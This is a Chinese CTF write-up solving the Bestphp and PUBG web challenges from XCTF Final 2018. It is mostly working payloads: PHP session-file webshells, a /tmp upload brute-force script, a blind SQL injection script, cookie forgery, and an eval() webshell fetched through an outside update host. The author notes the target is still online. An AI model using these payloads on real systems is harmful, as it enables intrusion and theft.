XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

内容简介：这道题提供index.php源码index.php从index.php可以看出

WEB1——Bestphp

这道题提供index.php源码

index.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    ini_set('open_basedir', '/var/www/html:/tmp');
    $file = 'function.php';
    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);
    session_start();
    $_SESSION['name'] = $_POST['name'];
    if($_SESSION['name']=='admin'){
        header('location:admin.php');
    }
?>

解题思路一

变量覆盖，调用文件包含

从index.php可以看出 $_GET['function'] 和 $_SESSION['name'] = $_POST['name'] 可控

其中 call_user_func($func,$_GET); 回调函数可利用

而且 include($file); 调用了文件包含

所以，可以调用变量覆盖函数，覆盖掉 $file ，从而引入文件包含

payload:

http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

一开始只是 highlight_file 给出index.php的源码，利用文件包含读到了admin.php和function.php的源码，不过对解题没啥卵用。

function.php

<?php
function filters($data){
    foreach($data as $key=>$value){
        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
            die('Do not hack me!');
        }
    }
}
?>

admin.php

hello admin
<?php
if(empty($_SESSION['name'])){
    session_start();
    #echo 'hello ' + $_SESSION['name'];
}else{
    die('you must login with admin');
}

?>

吐槽点：早上题目的环境是 php 7.2，extract函数是无法动态调用的，然后中午主办方偷偷改了环境为7.0，也不发公告说一声，浪费了很多时间。

调用session_start方法，修改session位置

从index.php可以看出 $_SESSION['name'] = $_POST['name'] ，session的值可控，session默认的保存位置

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

由于 ini_set('open_basedir', '/var/www/html:/tmp') ，我们包含不了 /var/lib/ 下的session

但是我在tmp下也找不到自己的session，所以这里的session应该是在 /var/lib/ 下

这里可以调用session_start函数，修改session的位置

本地的payload:

POST /xctf-bestphp/index.php?function=session_start&save_path=. HTTP/1.1
Host: 127.0.0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 21
Cookie: PHPSESSID=lfc5uk0rv8ndmjfv86u9tv6fk2
Content-Type: application/x-www-form-urlencoded

name=<?php phpinfo();

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解) 这里直接把session写到了web根目录，并且内容可控

文件包含session，getshell

http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2

比赛的payload

POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

name=<?php echo "aaa";system($_GET[x]);?>

GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1

解题思路二

php7.0的bug

王一航师傅发过一篇文章： https://www.jianshu.com/p/dfd049924258

是php7的一个小bug

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

string.strip_tags 可以导致php7在执行过程中奔溃

如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在 /tmp/phpXXXXXX (XXXXXX是数字+字母的6位数)

这个文件是持续保存的，不用竞争，直接爆破，为了爆破成功可以多线程去上传文件，生成多个phpXXXXXX

burp多线程上传文件

POST /index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1
Host: 10.99.99.16
Content-Length: 1701
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=17qpuv1r8g19pm503593nddq10
Connection: close

------WebKitFormBoundaryeScXqSzdW2v22xyk
Content-Disposition: form-data; name="fileUpload"; filename="test.jpg"
Content-Type: image/jpeg

<?php echo "wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";@eval($_POST['cmd']);  ?>
------WebKitFormBoundaryeScXqSzdW2v22xyk--

爆破脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "10.99.99.16"
port = 80
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/index.php?function=extract&file=/tmp/php%s" % (
                                base_url, filename)
                            print url
                            try:
                                response = requests.get(url)
                                if 'wwwwwwwwwwwwww' in response.content:
                                    print "[+] Include success!"
                                    return True
                            except Exception as e:
                                print e
    return False


def main():
    brute_force_tmp_files()


if __name__ == "__main__":
    main()

getshell

爆破成功后，得到成功文件包含的shell

http://10.99.99.16/index.php?function=extract&file=/tmp/phpXXXXX

WEB2——PUBG

赛题提供了源码

https://github.com/aye-whitehat/CTF-Collection/blob/master/XCTF%20Final%202018/web/PUBG/www.zip

但是zend加密了，给出解密后的代码，但是变量名还是混淆的

https://github.com/aye-whitehat/CTF-Collection/blob/master/XCTF%20Final%202018/web/PUBG/DECODE.zip

环境还没关，复现记得修改下host 159.138.22.212 guaika.txmeili.com

这题在比赛的时候利用的漏洞链是：sql注入+cookie伪造+后台getshell

解题思路

sql注入

代码位于 kss_inc/payapi_return2.php

关键代码：

这里的post参数没有调用该框架的 sql 过滤器，只是进行简单的trim()处理

else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGIio4� == "e138" )
{
    $_obfuscate_kpGPh4mNh46SkZONh4eLlJU� = "";
    $_obfuscate_k42NkY2RkoiNjJCKlZSKiIg� = trim( $_POST['SerialNo'] );
    $_obfuscate_iJWMjIiVi5OGjJOViY2Li48� = $_obfuscate_k42NkY2RkoiNjJCKlZSKiIg�;
    $_obfuscate_iIuQkYaUioqGlI6IjIuMiI8� = trim( $_POST['Status'] );
    $_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU� = trim( $_POST['Money'] );
    $_obfuscate_lIuQk5OGjpKVjY6UiI_QjJM� = $_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU�;
    $_obfuscate_iImJjYmQjYyOjIuVkIuMjIs� = trim( $_POST['VerifyString'] );

VerifyString的计算规则

else if ( $_obfuscate_kYyPkY_PkJKVh4qGjJGIio4� == "e138" )
{
    $_obfuscate_k4mJh5SPkY6Vh4qHjIaJh44� = TRUE;
    if ( $_obfuscate_iImJjYmQjYyOjIuVkIuMjIs� != strtolower( md5( "SerialNo=".$_obfuscate_k42NkY2RkoiNjJCKlZSKiIg�."&UserID=".$_obfuscate_jI2JlY_QkoeQj5OLjouLlYo�['e138set']."&Money=".$_obfuscate_jpGJk5SSkJOIk4iQiI_OhpU�."&Status=".$_obfuscate_iIuQkYaUioqGlI6IjIuMiI8�."&AttachString=e138&MerchantKey=".$_obfuscate_jI2JlY_QkoeQj5OLjouLlYo�['e138key'] ) ) )
    {
        $_obfuscate_k4mJh5SPkY6Vh4qHjIaJh44� = FALSE;
    }

因为设置了AttachString=e138

所以 $_obfuscate_jI2JlY_QkoeQj5OLjouLlYo�['e138set'] 值为1

所以VerifyString的值为 strtolower(md5('SerialNo=1&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1'))

即为ebd95c4233e8c02fe0854306afd71bee

但其实我们只要把参数都找到就ok了，因为不会先验证VerifyString，而是先验证SerialNo和Money参数

造成sql注入的代码如下：

$_obfuscate_lZGQj4iOj4mTlZGNjZGUj5E� = $_obfuscate_jIaUiIeSjZWKlIqLkIqOioc�->_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA�( "select * from kss_tb_order where ordernum='".$_obfuscate_iJWMjIiVi5OGjJOViY2Li48�."'" );

payload:

http://guaika.txmeili.com:8888/kss_inc/payapi_return2.php

注入点在SerialNo

SerialNo=0'or(0)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233e8c02fe0854306afd71bee

SerialNo=1'or(1)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233e8c02fe0854306afd71bee

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

尝试注入得到admin的密码

kss_inc/db_function.php 中可以看到登陆逻辑

if ( empty( $_obfuscate_lIqUlIaMj4aNjJCRkoeJlJE� ) )
    {
        $_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k� = $_obfuscate_jIaUiIeSjZWKlIqLkIqOioc�->_obfuscate_iY6OkJCRkY2PjpCPk5CRkJA�( "select * from kss_tb_manager where id=1" );
        if ( $_obfuscate_lIqUlIaMj4aNjJCRkoeJlJE� != md5( $_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k�['username'].$_obfuscate_h5SQiYyTkY_PjYmRjZWPh4k�['password'] ) )
        {
            _obfuscate_kYyOhouLjo2Gh4eNj4iQlIg�( "你的原始身份效验失败！" );
        }
        $_obfuscate_lI6OiJSPjZWVi5GQhoiPjpU�['level'] = 9;
        $_obfuscate_lI6OiJSPjZWVi5GQhoiPjpU�['powerlist'] = "admin";
    }

表名是 kss_tb_manager，字段是username和password，id是1

注入脚本 aye.py

#! coding:utf-8

import requests
import sys
if sys.getdefaultencoding() != 'utf-8':
    reload(sys)
    sys.setdefaultencoding('utf-8')

def main():
    url="http://guaika.txmeili.com:8888/kss_inc/payapi_return2.php"
    chars = 'abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ=+-*/{\}?!:@#$%&()[],. '
    result=''

    for i in range(1,1000):
        i =str(i)
        for j in chars:
            j=ord(j)
            #SerialNo=0'or(1)#&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233e8c02fe0854306afd71bee
            payload = """0'or(ascii(substr((select(concat(username,0x3a,password))from(kss_tb_manager)where(id=1)),%s,1))=%s)#"""%(i,j)
            data = {'SerialNo': payload,
                    'UserID' : 1,
                    'Money' : 100,
                    'Status' : 1,
                    'AttachString' : 'e138',
                    'MerchantKey' : 1,
                    'VerifyString' : 'ebd95c4233e8c02fe0854306afd71bee',
                    }
            #print payload
            do_whlie = True
            while  do_whlie:
                try:
                    r=requests.post(url,data=data) 
                    if r.status_code == 200:
                        do_whlie = False
                except Exception as e:
                    print str(e)
            #print r.text
            if '订单金额不符' in r.text:
                result += chr(j)
                #print r.text
                print result   

if __name__ == "__main__":
    main()

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

得到账号密码：

axing:8ccf03839a8c63a3a9de17fa5ac6a192
密码在somd5解密得到 axing147258

但是登陆不了。。。。赛后跟出题人交流才知道，他把管理员的密码和安全码最后一个字节改了，坑爹的是cmd5和somd5只是取了md5中间的16位进行相似匹配，允许误差

所以数据库92结尾的md5是反解不了的

这里也可以用sqlmap直接跑，就是要加上一些参数，不然跑不出来

sqlmap -r burp.txt -p SerialNo --dbms mysql --risk 3 --level 5 --string="订单金额不符" --technique B

POST /kss_inc/payapi_return2.php HTTP/1.1
Host: guaika.txmeili.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

SerialNo=0&UserID=1&Money=100&Status=1&AttachString=e138&MerchantKey=1&VerifyString=ebd95c4233e8c02fe0854306afd71bee

cookie伪造

代码位于kss_inc/function.php

有setcookie_function（包含禁ip的逻辑）

function _obfuscate_jZKVlY6HkYmKkIyRj4qSjIc�( $_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�, $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs� )
{
    setcookie( $_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�, $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�, 0, "/", NULL, NULL, TRUE );
    if ( BINDIP == 1 )
    {
        setcookie( $_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�."_ver", md5( $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�.COOKKEY._obfuscate_jZKKjpCGkZSUj4aOiIePlZI�( ) ), 0, "/", NULL, NULL, TRUE );
    }
    else
    {
        setcookie( $_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�."_ver", md5( $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�.COOKKEY ), 0, "/", NULL, NULL, TRUE );
    }
    return $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�.COOKKEY;
}

位于kss_admin/index.php

调用了setcookie_function

_obfuscate_jZKVlY6HkYmKkIyRj4qSjIc�( "kss_manager", $_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU� );

$_obfuscate_jIaUiIeSjZWKlIqLkIqOioc�->_obfuscate_kpSOj5KVio2Hj4uKj4_KjIY�( "update kss_tb_manager set `linecode`='".$_obfuscate_kI6PjYmLhpGMk4qGjZSHlIg�."',`lastlogintime`='"._obfuscate_jZGJkpOSkY_HiY2HjY2JlIg�( )."',`lastloginip`=".$_obfuscate_kYmJjZOIiZKJioqMkoaGiYk�." where `id`=".$_obfuscate_kY_OlYeUlIiVjo6Hio_MkpI�['id'], "notsync" );
$_obfuscate_i4mRjZCJlZCGk4_UioyHk4k�['logintype'] = 1;
_obfuscate_jYuKk4uOiYmSkpOTj5GUlZA�( $_obfuscate_i4mRjZCJlZCGk4_UioyHk4k� );
$_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU� = $_obfuscate_kY_OlYeUlIiVjo6Hio_MkpI�['id'].",".$_obfuscate_h4eSk4uGiZCKhoyNkIiTlI8�.",".md5( $_obfuscate_jZOIiIiJkJOGiY_KjoaGh4c� ).",".$_obfuscate_kI6PjYmLhpGMk4qGjZSHlIg�;
_obfuscate_jZKVlY6HkYmKkIyRj4qSjIc�( "kss_manager", $_obfuscate_i4qGi5WLhoqPkoyGkoiMhpU� );

其实就是调用了

setcookie_function( "kss_manager",$id.",".$username.",".md5($password).",".$linecode"

然后执行两句setcookie，得到kss_manager和kss_manager_ver两个cookie

setcookie( $_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�, $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�, 0, "/", NULL, NULL, TRUE );

setcookie( $_obfuscate_iYyTho_HlJCOh4yRj4ePj4k�."_ver", md5( $_obfuscate_ipCJlJOSlJSQkYqNlYqKlIs�.COOKKEY ), 0, "/", NULL, NULL, TRUE )

并且在 kss_inc/_config.php找到$COOKKEY的值 XIpCcfoe_y43

define( "COOKKEY", "XIpCcfoe_y43" );
define( "COOKKEY2", "MGHOu2m|oXDz" );

也在 kss_inc/db_function.php

找到了$linecode的值 efefefef

if ( $_obfuscate_lI6OiJSPjZWVi5GQhoiPjpU�['linecode'] != $_obfuscate_h4_NjYiIi46Lh5KHkoaKkZQ�[3] && "efefefef" != $_obfuscate_h4_NjYiIi46Lh5KHkoaKkZQ�[3] && $_obfuscate_lI6OiJSPjZWVi5GQhoiPjpU�['username'] != "test01" )
    {
        _obfuscate_kYyOhouLjo2Gh4eNj4iQlIg�( "您的帐号被挤下线，<a href=index.php target=_top>请重新登陆</a>" );
    }

所以最终的两个cookie的键值分别是

kss_manager
1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef

kss_manager_ver
md5("1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef"."XIpCcfoe_y43")
即为
md5("1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefefXIpCcfoe_y43")
即为
b05a94ffcb3da369a828235012990953

成功伪造cookie，访问 kss_admin/admin.php

浏览器替换cookie

后台getshell

代码位于 kss_admin/admin_update

这个网站的更新，是从远端主站拉取代码写入本地:

$_obfuscate_koiKkIiPjI6UkYeRlIqNhoc� = _obfuscate_lY6Gk5KMkYmPjIyPhpCOlYc�( "http://api.hphu.com/import/".$_obfuscate_koaSiYqGjIqMiZSLk4uGiZU�.".php?phpver=".PHP_VERSION."&webid=".WEBID."&rid=".time( ), 300 );

我们跟入 _obfuscate_lY6Gk5KMkYmPjIyPhpCOlYc� 函数

位于第20行，函数中有curl相关的操作

curl_setopt( $_obfuscate_joiNh4aIhouViZGQho_JiI4�, CURLOPT_HEADERFUNCTION, "read_header" );
curl_setopt( $_obfuscate_joiNh4aIhouViZGQho_JiI4�, CURLOPT_WRITEFUNCTION, "read_body" );

看下read_body函数

function read_body( $_obfuscate_joiNh4aIhouViZGQho_JiI4�, $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM� )
{
    global $_obfuscate_ko6MhoiQkJKRlYeVio_JjYo�;
    global $_obfuscate_j4eNjZOQlIuKhoqMj4mOjYs�;
    global $_obfuscate_koaSiYqGjIqMiZSLk4uGiZU�;
    if ( $_obfuscate_ko6MhoiQkJKRlYeVio_JjYo� == 0 && substr( $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM�, 0, 2 ) == "<!" )
    {
        $_obfuscate_j4eNjZOQlIuKhoqMj4mOjYs� = 0;
    }
    $_obfuscate_ko6MhoiQkJKRlYeVio_JjYo� += strlen( $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM� );
    file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php", $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM�, FILE_APPEND );
    echo "<script>$('#downsize').html('".$_obfuscate_ko6MhoiQkJKRlYeVio_JjYo�."');</script>";
    echo "<!--  ".str_repeat( " ", 2000 )." -->\r\n";
    ob_flush( );
    flush( );
    return strlen( $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM� );
}

其中read_body函数会将curl到的内容写到 kss_tool/_webup.php

file_put_contents( KSSROOTDIR."kss_tool".DIRECTORY_SEPARATOR."_webup.php", $_obfuscate_jJWMiJWJjoyIkYmLjY6VipM�, FILE_APPEND );

这里我们可以利用代码中的sql过滤器，去触发某个页面的sql报错，从而将php代码回显，从而将恶意代码写入kss_tool/_webup.php，构造webshell

例子：

构造sql报错并回显

http://api.hphu.com/test/kss_admin/index.php?action=aye666%27

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

构造更新路径

将报错的页面内容写入 kss_tool/_webup.php

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action=aye666%27

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

触发phpinfo

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520phpinfo();?>

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

写shell

http://guaika.txmeili.com:8888/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解) 连接菜刀： http://guaika.txmeili.com:8888/kss_tool/_webup.php

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

getflag

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

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码农书籍

深入体验Java Web开发内幕

张孝祥 / 电子工业出版社 / 2007-12 / 55.00元

《深入体验Java Web开发内幕：高级特性》是《深入体验Java Web开发内幕——核心基础》的姊妹篇，Java Web开发的初学者在阅读《深入体验Java Web开发内幕：高级特性》前，应该先学习《深入体验Java Web开发内幕——核心基础》。《深入体验Java Web开发内幕：高级特性》详细阐述了Java Web应用开发中的各种高级特性——Apache文件上传组件的源码分析及应用和编写原理......一起来看看《深入体验Java Web开发内幕》这本书的介绍吧!

码农工具

XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

WEB1——Bestphp

解题思路一

变量覆盖，调用文件包含

调用session_start方法，修改session位置

文件包含session，getshell

解题思路二

php7.0的bug

burp多线程上传文件

爆破脚本

getshell

WEB2——PUBG

解题思路

sql注入

cookie伪造

后台getshell

构造sql报错并回显

构造更新路径

触发phpinfo

写shell

getflag

深入体验Java Web开发内幕

RGB转16进制工具

HTML 编码/解码

SHA 加密